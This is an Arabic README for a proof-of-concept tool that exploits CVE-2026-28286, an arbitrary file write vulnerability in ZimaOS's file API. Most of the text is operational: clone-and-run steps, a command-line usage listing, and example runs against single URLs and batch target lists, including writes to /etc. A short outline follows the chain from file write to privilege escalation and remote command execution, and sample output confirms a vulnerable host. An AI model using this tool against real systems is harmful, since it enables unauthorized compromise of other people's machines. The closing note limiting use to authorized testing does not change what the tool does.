
أداة إثبات المفهوم والتحقق لثغرة CVE-2026-28286، وهي ثغرة كتابة ملفات عشوائية في ZimaOS، تستغل سوء تكوين واجهة برمجة التطبيقات لكتابة ملفات خارج الدلائل المقصودة.
من سوء تكوين واجهة برمجة التطبيقات → كتابة ملفات عشوائية → احتمال اختراق النظام
/v2_1/files/filegit clone https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write.git
cd zimaos-cve-2026-28286-arbitrary-file-write
pip install -r requirements.txt
python3 poc.py
يمكنك عرض جميع الخيارات المتاحة باستخدام:
python poc.py -h
usage: poc.py [-h] [-u URL] [-t TARGETS] [-p PATH] [--proxy PROXY] [--token TOKEN] [-n ATTEMPTS] [--delay DELAY]
options:
-h, --help show help message and exit
-u, --url URL Single target URL
-t, --targets TARGETS Targets file (batch mode)
-p, --path PATH Custom file path (default: /tmp)
--proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
--token TOKEN Bearer authentication token
-n, --attempts Number of attempts
--delay Delay between batch requests (seconds)
python poc.py
python poc.py -u http://localhost:8080
python poc.py -u http://localhost:8080 -p /tmp
python poc.py -u http://localhost:8080 -p /etc
python poc.py -u http://localhost:8080 -n 5
python poc.py -u http://localhost:8080 --proxy http://127.0.0.1:8080
python poc.py -t targets.txt
python poc.py -t targets.txt --delay 2
python poc.py -u http://target.com -p /tmp -n 3 --proxy http://127.0.0.1:8080 --token YOUR_TOKEN
استخدم وضع البروكسي مع Burp Suite من أجل:
يفشل الخادم الخلفي في فرض حدود نظام الملفات:
وهذا يسمح بالكتابة إلى:
/tmp/
/etc/
/usr/local/bin/
كتابة ملفات عشوائية
↓
استبدال الإعدادات / البرامج النصية
↓
تصعيد الامتيازات / تنفيذ أوامر عن بُعد

[✔] CONFIRMED vulnerable (LISTING_SUCCESS)
Path: /tmp/CVE-2026-28286_⚠️_abc123.txt
إذا وجدت هذا مفيدًا، فكر في منح نجمة ⭐ فهذا يساعد المزيد من الباحثين على اكتشاف هذا العمل.
للاستخدام في الاختبارات المصرح بها فقط.